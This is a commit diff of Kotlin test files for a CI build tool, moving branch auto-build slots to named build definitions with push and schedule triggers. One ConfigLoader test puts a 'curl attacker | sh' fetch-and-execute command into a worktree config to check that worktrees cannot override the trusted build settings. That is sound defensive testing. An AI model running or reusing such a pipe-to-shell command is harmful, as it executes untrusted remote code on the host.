Build definitions with onPush/atTimes replace branch-owned schedules
ADR 0007: the YAML builds section (next to the reserved maxConcurrent key) defines named builds (jobs) with onPush/atTimes triggers, branch selectors (name globs, activeWithin age filter), and build-setting overrides applied last over the merged branch config. The implicit default build (onPush over all branches) preserves the previous behavior; the section is pinned against the worktree layer. Results record the job name; restart, retry, and startup recovery re-run by it, resolving settings from the current config. A non-default build records under the <branch>@<build> pool with its own row, retention count, and permanent latest-green link. branches.*.autoBuild stays as a deprecated alias (plain times only); the unreleased-in-practice v0.9.13 per-slot buildCommand/name syntax is removed again. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Fable 5
parent
5051c7bb99
commit
0e8db18e69
@@ -219,23 +219,38 @@ class BuildExecutorTest : FunSpec() {
|
||||
}
|
||||
}
|
||||
|
||||
test("a build command override replaces the branch's build command and is recorded in the result") {
|
||||
val h = harness(buildCommand = "echo regular-\$branch")
|
||||
test("a build definition overrides the branch's build command and records under its own pool") {
|
||||
val h =
|
||||
Harness(
|
||||
"""
|
||||
branches:
|
||||
default:
|
||||
buildCommand: "echo regular-${'$'}branch"
|
||||
cleanCommand: ""
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: "echo nightly-${'$'}branch"
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val nightly = h.executor.startBuild("main", "sha-1", h.workingDir, "echo nightly-\$branch")
|
||||
awaitStatus(h, "main", BuildStatus.SUCCESS)
|
||||
val nightly = h.executor.startBuild("main", "sha-1", h.workingDir, "pitest")
|
||||
awaitStatus(h, "main@pitest", BuildStatus.SUCCESS)
|
||||
awaitIdle(h)
|
||||
|
||||
val stdoutLog = Files.readString(nightly.stagingDir.resolve("build.stdout.log"))
|
||||
stdoutLog shouldContain "nightly-main"
|
||||
stdoutLog shouldNotContain "regular-main"
|
||||
Files.readString(nightly.liveLogFile) shouldContain "triggered by: auto-build slot"
|
||||
h.repository
|
||||
.latestFor("main")
|
||||
.shouldNotBeNull()
|
||||
.buildCommandOverride shouldBe "echo nightly-\$branch"
|
||||
Files.readString(nightly.liveLogFile) shouldContain "build: pitest (recorded as main@pitest)"
|
||||
val result = h.repository.latestFor("main@pitest").shouldNotBeNull()
|
||||
result.branch shouldBe "main"
|
||||
result.build shouldBe "pitest"
|
||||
result.name shouldBe "main@pitest"
|
||||
result.artifactKey shouldBe nightly.artifactKey
|
||||
nightly.artifactKey shouldContain "main_pitest"
|
||||
// the branch's own pool stays empty — the pitest build does not shadow it
|
||||
h.repository.latestFor("main") shouldBe null
|
||||
|
||||
// the same branch without an override runs the regular command
|
||||
// the same branch under the default build runs the regular command
|
||||
val regular = h.executor.startBuild("main", "sha-2", h.workingDir)
|
||||
awaitStatus(h, "main", BuildStatus.SUCCESS)
|
||||
awaitIdle(h)
|
||||
@@ -243,24 +258,17 @@ class BuildExecutorTest : FunSpec() {
|
||||
h.repository
|
||||
.latestFor("main")
|
||||
.shouldNotBeNull()
|
||||
.buildCommandOverride shouldBe null
|
||||
.build shouldBe "default"
|
||||
}
|
||||
|
||||
test("a named build is recorded under its name, keyed by the sanitized name") {
|
||||
test("a build whose definition was removed from the config falls back to the branch's settings") {
|
||||
val h = harness(buildCommand = "echo regular-\$branch")
|
||||
|
||||
val build = h.executor.startBuild("main", "sha-1", h.workingDir, "echo nightly-\$branch", "main@nightly")
|
||||
awaitStatus(h, "main@nightly", BuildStatus.SUCCESS)
|
||||
val build = h.executor.startBuild("main", "sha-1", h.workingDir, "gone-build")
|
||||
awaitStatus(h, "main@gone-build", BuildStatus.SUCCESS)
|
||||
awaitIdle(h)
|
||||
|
||||
val result = h.repository.latestFor("main@nightly").shouldNotBeNull()
|
||||
result.branch shouldBe "main"
|
||||
result.name shouldBe "main@nightly"
|
||||
result.artifactKey shouldBe build.artifactKey
|
||||
build.artifactKey shouldContain "main_nightly"
|
||||
Files.readString(build.liveLogFile) shouldContain "build name: main@nightly"
|
||||
// the branch's own pool stays empty — the named build does not shadow it
|
||||
h.repository.latestFor("main") shouldBe null
|
||||
Files.readString(build.stagingDir.resolve("build.stdout.log")) shouldContain "regular-main"
|
||||
}
|
||||
|
||||
test("startBuild returns the active build of the same branch and commit instead of stacking a duplicate") {
|
||||
@@ -272,8 +280,8 @@ class BuildExecutorTest : FunSpec() {
|
||||
duplicate.artifactKey shouldBe first.artifactKey
|
||||
h.repository.history().map { it.artifactKey } shouldContainExactly listOf(first.artifactKey)
|
||||
|
||||
// a build of the same commit with a command override runs a different command — not a duplicate
|
||||
val nightly = h.executor.startBuild("main", "abc123", h.workingDir, "echo full-check")
|
||||
// another build definition of the same commit is its own pool — not a duplicate
|
||||
val nightly = h.executor.startBuild("main", "abc123", h.workingDir, "pitest")
|
||||
nightly.artifactKey shouldNotBe first.artifactKey
|
||||
|
||||
// another commit of the branch is a distinct build, queued behind the first
|
||||
|
||||
@@ -52,15 +52,15 @@ class RetryCommandTest : FunSpec() {
|
||||
)
|
||||
every { gitService.originHeadCommit("main", dir) } returns "head-main"
|
||||
every { gitService.originHeadCommit("feature/y", dir) } returns "head-y"
|
||||
every { consoleBuildRunner.buildAndStream(any(), any(), dir, anyNullable(), any()) } returns BuildStatus.SUCCESS
|
||||
every { consoleBuildRunner.buildAndStream(any(), any(), dir, any()) } returns BuildStatus.SUCCESS
|
||||
|
||||
var exitCode = -1
|
||||
captureConsole { exitCode = command().call() }
|
||||
|
||||
exitCode shouldBe 0
|
||||
verify { consoleBuildRunner.buildAndStream("main", "head-main", dir, null, "main") }
|
||||
verify { consoleBuildRunner.buildAndStream("feature/y", "head-y", dir, null, "feature/y") }
|
||||
verify(exactly = 0) { consoleBuildRunner.buildAndStream("feature/ok", any(), dir, anyNullable(), any()) }
|
||||
verify { consoleBuildRunner.buildAndStream("main", "head-main", dir, "default") }
|
||||
verify { consoleBuildRunner.buildAndStream("feature/y", "head-y", dir, "default") }
|
||||
verify(exactly = 0) { consoleBuildRunner.buildAndStream("feature/ok", any(), dir, any()) }
|
||||
}
|
||||
|
||||
test("exits with code 1 when a retried build fails again") {
|
||||
|
||||
@@ -47,37 +47,73 @@ class ConfigLoaderTest : FunSpec() {
|
||||
loader.load(dir).builds.maxConcurrent shouldBe 3
|
||||
}
|
||||
|
||||
test("autoBuild.times accepts plain HH:MM entries and slot objects with their own build command, mixed") {
|
||||
test("the builds section splits into the reserved maxConcurrent and named build definitions") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
main:
|
||||
autoBuild:
|
||||
enabled: true
|
||||
times:
|
||||
- "01:00"
|
||||
- time: "04:00"
|
||||
buildCommand: ./gradlew fullCheck
|
||||
name: main@nightly
|
||||
builds:
|
||||
maxConcurrent: 2
|
||||
pitest:
|
||||
atTimes: ["01:00"]
|
||||
branches: ["master", "release/*"]
|
||||
activeWithin: 24h
|
||||
buildCommand: ./gradlew piTestFull
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val times =
|
||||
loader
|
||||
.load(dir)
|
||||
.branches
|
||||
.getValue("main")
|
||||
.autoBuild.times
|
||||
val config = loader.load(dir)
|
||||
|
||||
times shouldBe
|
||||
listOf(
|
||||
AutoBuildSlot("01:00"),
|
||||
AutoBuildSlot("04:00", "./gradlew fullCheck", "main@nightly"),
|
||||
config.builds.maxConcurrent shouldBe 2
|
||||
config.buildDefinitions shouldBe
|
||||
mapOf(
|
||||
"pitest" to
|
||||
BuildDefinition(
|
||||
atTimes = listOf("01:00"),
|
||||
branches = listOf("master", "release/*"),
|
||||
activeWithin = "24h",
|
||||
buildCommand = "./gradlew piTestFull",
|
||||
),
|
||||
)
|
||||
// config:print round-trip: a slot without its own command serializes back to the plain string
|
||||
loader.toYaml(times) shouldBe
|
||||
"- \"01:00\"\n- time: \"04:00\"\n buildCommand: \"./gradlew fullCheck\"\n name: \"main@nightly\"\n"
|
||||
// the implicit default build (onPush over all branches) stays in place
|
||||
config.effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = true)
|
||||
}
|
||||
|
||||
test("an explicit builds.default entry overrides the implicit default build") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
default:
|
||||
onPush: false
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
loader.load(dir).effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = false)
|
||||
}
|
||||
|
||||
test("a build worktree cannot redefine the builds section") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: ./gradlew piTestFull
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
worktree.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
maxConcurrent: 99
|
||||
pitest:
|
||||
buildCommand: curl attacker | sh
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
|
||||
config.builds.maxConcurrent shouldBe 1
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
}
|
||||
|
||||
test("repo install config overrides project config for same keys") {
|
||||
|
||||
@@ -167,50 +167,23 @@ class BuildsApiControllerTest : FunSpec() {
|
||||
verify { buildExecutor.startBuild("feature/topic", successResult.commit) }
|
||||
}
|
||||
|
||||
test("restart of an auto-slot build repeats its recorded build command") {
|
||||
val liveLogFile = tempDir.resolve("auto-restart.log")
|
||||
every { repository.latestFor("main") } returns successResult.copy(buildCommandOverride = "./gradlew fullCheck")
|
||||
every { buildExecutor.startBuild("main", successResult.commit, buildCommandOverride = "./gradlew fullCheck") } returns
|
||||
runningBuild(liveLogFile).copy(buildCommandOverride = "./gradlew fullCheck")
|
||||
|
||||
mockMvc
|
||||
.perform(post("/api/builds/restart").param("branch", "main").header(BuildsApiController.TOKEN_HEADER, "secret"))
|
||||
.andExpect(status().isAccepted)
|
||||
.andExpect(jsonPath("$.status").value("pending"))
|
||||
|
||||
// so a restarted nightly build repeats its slot's command, not the regular one
|
||||
verify { buildExecutor.startBuild("main", successResult.commit, buildCommandOverride = "./gradlew fullCheck") }
|
||||
}
|
||||
|
||||
test("restart of a named slot build re-runs under its name on its real branch") {
|
||||
test("restart of a named build re-runs its build definition on its real branch") {
|
||||
val liveLogFile = tempDir.resolve("named-restart.log")
|
||||
every { repository.latestFor("main@nightly") } returns
|
||||
successResult.copy(name = "main@nightly", buildCommandOverride = "./gradlew fullCheck")
|
||||
every {
|
||||
buildExecutor.startBuild(
|
||||
"main",
|
||||
successResult.commit,
|
||||
buildCommandOverride = "./gradlew fullCheck",
|
||||
name = "main@nightly",
|
||||
)
|
||||
} returns runningBuild(liveLogFile).copy(name = "main@nightly")
|
||||
every { repository.latestFor("main@pitest") } returns
|
||||
successResult.copy(build = "pitest", name = "main@pitest")
|
||||
every { buildExecutor.startBuild("main", successResult.commit, build = "pitest") } returns
|
||||
runningBuild(liveLogFile).copy(build = "pitest", name = "main@pitest")
|
||||
|
||||
mockMvc
|
||||
.perform(
|
||||
post("/api/builds/restart")
|
||||
.param("branch", "main@nightly")
|
||||
.param("branch", "main@pitest")
|
||||
.header(BuildsApiController.TOKEN_HEADER, "secret"),
|
||||
).andExpect(status().isAccepted)
|
||||
.andExpect(jsonPath("$.name").value("main@nightly"))
|
||||
.andExpect(jsonPath("$.name").value("main@pitest"))
|
||||
|
||||
verify {
|
||||
buildExecutor.startBuild(
|
||||
"main",
|
||||
successResult.commit,
|
||||
buildCommandOverride = "./gradlew fullCheck",
|
||||
name = "main@nightly",
|
||||
)
|
||||
}
|
||||
// the re-run resolves its settings from the current config by the build name
|
||||
verify { buildExecutor.startBuild("main", successResult.commit, build = "pitest") }
|
||||
}
|
||||
|
||||
test("restart of a never-built branch enqueues its origin head commit") {
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
package de.hoennig.gittally.watcher
|
||||
|
||||
import de.hoennig.gittally.config.AutoBuildSlot
|
||||
import io.kotest.core.spec.style.FunSpec
|
||||
import io.kotest.matchers.booleans.shouldBeFalse
|
||||
import io.kotest.matchers.booleans.shouldBeTrue
|
||||
@@ -14,27 +13,19 @@ import java.time.LocalTime
|
||||
class AutoBuildStateTest : FunSpec() {
|
||||
private fun stateFile(): Path = Files.createTempDirectory("gittally-autobuild-test").resolve("auto-builds.json")
|
||||
|
||||
private fun slots(vararg times: String) = times.map { AutoBuildSlot(it) }
|
||||
|
||||
init {
|
||||
test("latestDueSlot picks the latest slot at or before now") {
|
||||
val times = slots("01:00", "11:00", "13:00")
|
||||
val times = listOf("01:00", "11:00", "13:00")
|
||||
|
||||
AutoBuildSlots.latestDueSlot(times, LocalTime.parse("00:59")).shouldBeNull()
|
||||
AutoBuildSlots.latestDueSlot(times, LocalTime.parse("01:00"))?.time shouldBe "01:00"
|
||||
AutoBuildSlots.latestDueSlot(times, LocalTime.parse("12:00"))?.time shouldBe "11:00"
|
||||
AutoBuildSlots.latestDueSlot(times, LocalTime.parse("23:59"))?.time shouldBe "13:00"
|
||||
}
|
||||
|
||||
test("latestDueSlot answers the whole slot including its build command") {
|
||||
val slot = AutoBuildSlot(time = "01:00", buildCommand = "./gradlew fullCheck")
|
||||
|
||||
AutoBuildSlots.latestDueSlot(listOf(slot), LocalTime.parse("02:00")) shouldBe slot
|
||||
AutoBuildSlots.latestDueSlot(times, LocalTime.parse("01:00")) shouldBe "01:00"
|
||||
AutoBuildSlots.latestDueSlot(times, LocalTime.parse("12:00")) shouldBe "11:00"
|
||||
AutoBuildSlots.latestDueSlot(times, LocalTime.parse("23:59")) shouldBe "13:00"
|
||||
}
|
||||
|
||||
test("latestDueSlot skips invalid slots but keeps the valid ones") {
|
||||
AutoBuildSlots.latestDueSlot(slots("25:99", "nope", "02:00"), LocalTime.parse("12:00"))?.time shouldBe "02:00"
|
||||
AutoBuildSlots.latestDueSlot(slots("25:99"), LocalTime.parse("12:00")).shouldBeNull()
|
||||
AutoBuildSlots.latestDueSlot(listOf("25:99", "nope", "02:00"), LocalTime.parse("12:00")) shouldBe "02:00"
|
||||
AutoBuildSlots.latestDueSlot(listOf("25:99"), LocalTime.parse("12:00")).shouldBeNull()
|
||||
}
|
||||
|
||||
test("latestDueSlot of an empty slot list is null") {
|
||||
|
||||
@@ -10,8 +10,8 @@ import de.hoennig.gittally.build.GitWorktreeWorkspaces
|
||||
import de.hoennig.gittally.build.RunningBuild
|
||||
import de.hoennig.gittally.config.ArtifactsConfig
|
||||
import de.hoennig.gittally.config.AutoBuildConfig
|
||||
import de.hoennig.gittally.config.AutoBuildSlot
|
||||
import de.hoennig.gittally.config.BranchConfig
|
||||
import de.hoennig.gittally.config.BuildDefinition
|
||||
import de.hoennig.gittally.config.ConfigLoader
|
||||
import de.hoennig.gittally.config.GitTallyConfig
|
||||
import de.hoennig.gittally.config.WatcherConfig
|
||||
@@ -75,11 +75,12 @@ class WatcherTest : FunSpec() {
|
||||
every { gitService.newOriginBranches(any(), any()) } returns emptyList()
|
||||
every { gitService.hasNewCommits(any(), any()) } returns false
|
||||
every { gitService.originHeadCommit(any(), any()) } returns null
|
||||
every { gitService.originBranchCommitTimes(any()) } returns emptyMap()
|
||||
every { gitService.pullRequestHeads(any()) } returns emptySet()
|
||||
every { gitService.worktreePrune(any()) } returns Unit
|
||||
every { gitService.fastForwardLocalBranches(any()) } returns emptyList()
|
||||
every { buildExecutor.currentBuilds() } returns emptyList()
|
||||
every { buildExecutor.startBuild(any(), any(), any(), anyNullable(), any()) } answers {
|
||||
every { buildExecutor.startBuild(any(), any(), any(), any()) } answers {
|
||||
val branch = firstArg<String>()
|
||||
val commit = secondArg<String>()
|
||||
startedBuilds += branch to commit
|
||||
@@ -93,19 +94,17 @@ class WatcherTest : FunSpec() {
|
||||
branch: String,
|
||||
status: BuildStatus,
|
||||
commit: String = "commit-0",
|
||||
buildCommandOverride: String? = null,
|
||||
name: String = branch,
|
||||
build: String = BuildDefinition.DEFAULT,
|
||||
): BuildResult {
|
||||
val startedAt = noon.minusSeconds(3600).plusSeconds(seedCounter++)
|
||||
val result =
|
||||
BuildResult(
|
||||
branch = branch,
|
||||
name = name,
|
||||
build = build,
|
||||
commit = commit,
|
||||
status = status,
|
||||
startedAt = startedAt,
|
||||
buildCommandOverride = buildCommandOverride,
|
||||
artifactKey = ArtifactKeys.buildKey(branch, startedAt),
|
||||
artifactKey = ArtifactKeys.buildKey(BuildDefinition.poolName(branch, build), startedAt),
|
||||
)
|
||||
repository.append(result)
|
||||
return result
|
||||
@@ -141,7 +140,7 @@ class WatcherTest : FunSpec() {
|
||||
branches =
|
||||
mapOf(
|
||||
"default" to BranchConfig(),
|
||||
"main" to BranchConfig(autoBuild = AutoBuildConfig(enabled = true, times = times.map { AutoBuildSlot(it) })),
|
||||
"main" to BranchConfig(autoBuild = AutoBuildConfig(enabled = true, times = times.toList())),
|
||||
),
|
||||
)
|
||||
|
||||
@@ -354,7 +353,7 @@ class WatcherTest : FunSpec() {
|
||||
"main" to
|
||||
BranchConfig(
|
||||
requirePullRequest = true,
|
||||
autoBuild = AutoBuildConfig(enabled = true, times = listOf(AutoBuildSlot("11:00"))),
|
||||
autoBuild = AutoBuildConfig(enabled = true, times = listOf("11:00")),
|
||||
),
|
||||
),
|
||||
),
|
||||
@@ -379,69 +378,100 @@ class WatcherTest : FunSpec() {
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.startedBuilds shouldContainExactly listOf("main" to "commit-abc")
|
||||
// a plain HH:MM slot runs the branch's regular buildCommand — no override
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), null) }
|
||||
// the deprecated branch schedule rebuilds the branch's own pool with the default build
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), BuildDefinition.DEFAULT) }
|
||||
harness.autoBuildState().isTriggered("main", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue()
|
||||
}
|
||||
|
||||
test("an auto-build slot with its own build command dictates that command for the build") {
|
||||
test("a scheduled build definition fires for its selected branches under its own pool") {
|
||||
val harness =
|
||||
Harness(
|
||||
GitTallyConfig(
|
||||
branches =
|
||||
buildDefinitions =
|
||||
mapOf(
|
||||
"default" to BranchConfig(),
|
||||
"main" to
|
||||
BranchConfig(
|
||||
autoBuild =
|
||||
AutoBuildConfig(
|
||||
enabled = true,
|
||||
times = listOf(AutoBuildSlot("11:00", "./gradlew fullCheck")),
|
||||
),
|
||||
"pitest" to
|
||||
BuildDefinition(
|
||||
atTimes = listOf("11:00"),
|
||||
branches = listOf("main", "release/*"),
|
||||
),
|
||||
),
|
||||
),
|
||||
)
|
||||
harness.seed("main", BuildStatus.SUCCESS, commit = "commit-abc")
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-abc"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), "./gradlew fullCheck") }
|
||||
harness.autoBuildState().isTriggered("main", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue()
|
||||
}
|
||||
|
||||
test("a named auto-build slot records under its name, even while the branch's regular build is running") {
|
||||
val harness =
|
||||
Harness(
|
||||
GitTallyConfig(
|
||||
branches =
|
||||
mapOf(
|
||||
"default" to BranchConfig(),
|
||||
"main" to
|
||||
BranchConfig(
|
||||
autoBuild =
|
||||
AutoBuildConfig(
|
||||
enabled = true,
|
||||
times = listOf(AutoBuildSlot("11:00", "./gradlew fullCheck", "main@nightly")),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
)
|
||||
// the branch's own pool is busy; the named slot has its own pool and is not blocked by it
|
||||
// the branch's own pool is busy; the pitest pool is its own and not blocked by it
|
||||
harness.seed("main", BuildStatus.RUNNING, commit = "commit-abc")
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "release/1.x", "feature/x")
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-abc"
|
||||
every { harness.gitService.originHeadCommit("release/1.x", any()) } returns "commit-rel"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
// glob selector: main and release/1.x fire once, feature/x is not selected
|
||||
harness.startedBuilds shouldContainExactlyInAnyOrder
|
||||
listOf("main" to "commit-abc", "release/1.x" to "commit-rel")
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), "pitest") }
|
||||
harness.autoBuildState().isTriggered("main@pitest", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue()
|
||||
}
|
||||
|
||||
test("a scheduled build definition with activeWithin skips branches without recent commits") {
|
||||
val harness =
|
||||
Harness(
|
||||
GitTallyConfig(
|
||||
buildDefinitions =
|
||||
mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"), activeWithin = "24h")),
|
||||
),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("active", "dormant")
|
||||
every { harness.gitService.originHeadCommit("active", any()) } returns "commit-act"
|
||||
every { harness.gitService.originBranchCommitTimes(any()) } returns
|
||||
mapOf(
|
||||
"active" to noon.minusSeconds(3600),
|
||||
"dormant" to noon.minus(Duration.ofDays(10)),
|
||||
)
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-abc", any(), "./gradlew fullCheck", "main@nightly") }
|
||||
harness.autoBuildState().isTriggered("main", LocalDate.parse("2026-07-07"), "11:00").shouldBeTrue()
|
||||
harness.startedBuilds shouldContainExactly listOf("active" to "commit-act")
|
||||
verify { harness.buildExecutor.startBuild("active", "commit-act", any(), "pitest") }
|
||||
}
|
||||
|
||||
test("a commit-triggered build never carries a build command override") {
|
||||
test("an onPush build definition builds the changed branches it selects") {
|
||||
val harness =
|
||||
Harness(
|
||||
GitTallyConfig(
|
||||
buildDefinitions =
|
||||
mapOf("lint" to BuildDefinition(onPush = true, branches = listOf("main"))),
|
||||
),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "feature/x")
|
||||
every { harness.gitService.localBranches(any()) } returns listOf("main", "feature/x")
|
||||
every { harness.gitService.hasNewCommits(any(), any()) } returns true
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
every { harness.gitService.originHeadCommit("feature/x", any()) } returns "commit-feat"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
// the implicit default build covers both branches; lint only selects main
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
verify { harness.buildExecutor.startBuild("feature/x", "commit-feat", any(), BuildDefinition.DEFAULT) }
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), "lint") }
|
||||
verify(exactly = 0) { harness.buildExecutor.startBuild("feature/x", "commit-feat", any(), "lint") }
|
||||
}
|
||||
|
||||
test("builds.default with onPush false disables the implicit on-push build") {
|
||||
val harness =
|
||||
Harness(GitTallyConfig(buildDefinitions = mapOf("default" to BuildDefinition(onPush = false))))
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.localBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.hasNewCommits("main", any()) } returns true
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.startedBuilds.shouldBeEmpty()
|
||||
}
|
||||
|
||||
test("a commit-triggered build belongs to the default build definition") {
|
||||
val harness = Harness()
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.localBranches(any()) } returns listOf("main")
|
||||
@@ -450,7 +480,7 @@ class WatcherTest : FunSpec() {
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), null) }
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
}
|
||||
|
||||
test("an auto-build slot stays untriggered while the branch is still building") {
|
||||
@@ -496,21 +526,15 @@ class WatcherTest : FunSpec() {
|
||||
harness.startedBuilds shouldContainExactly listOf("main" to "commit-2")
|
||||
}
|
||||
|
||||
test("startup recovery re-enqueues an interrupted auto-slot build with its recorded command and name") {
|
||||
test("startup recovery re-enqueues an interrupted build under its recorded build definition") {
|
||||
val harness = Harness()
|
||||
harness.seed(
|
||||
"main",
|
||||
BuildStatus.INTERRUPTED,
|
||||
commit = "commit-1",
|
||||
buildCommandOverride = "./gradlew fullCheck",
|
||||
name = "main@nightly",
|
||||
)
|
||||
harness.seed("main", BuildStatus.INTERRUPTED, commit = "commit-1", build = "pitest")
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-1"
|
||||
|
||||
harness.watcher.recoverOnStartup(harness.workingDir)
|
||||
|
||||
// otherwise a restart mid-nightly-build would repeat it with the regular command, in the wrong pool
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-1", any(), "./gradlew fullCheck", "main@nightly") }
|
||||
// otherwise a restart mid-nightly-build would repeat it as a regular build in the wrong pool
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-1", any(), "pitest") }
|
||||
}
|
||||
|
||||
test("startup recovery closes out an orphaned PENDING build of a branch gone from origin") {
|
||||
|
||||
Reference in New Issue
Block a user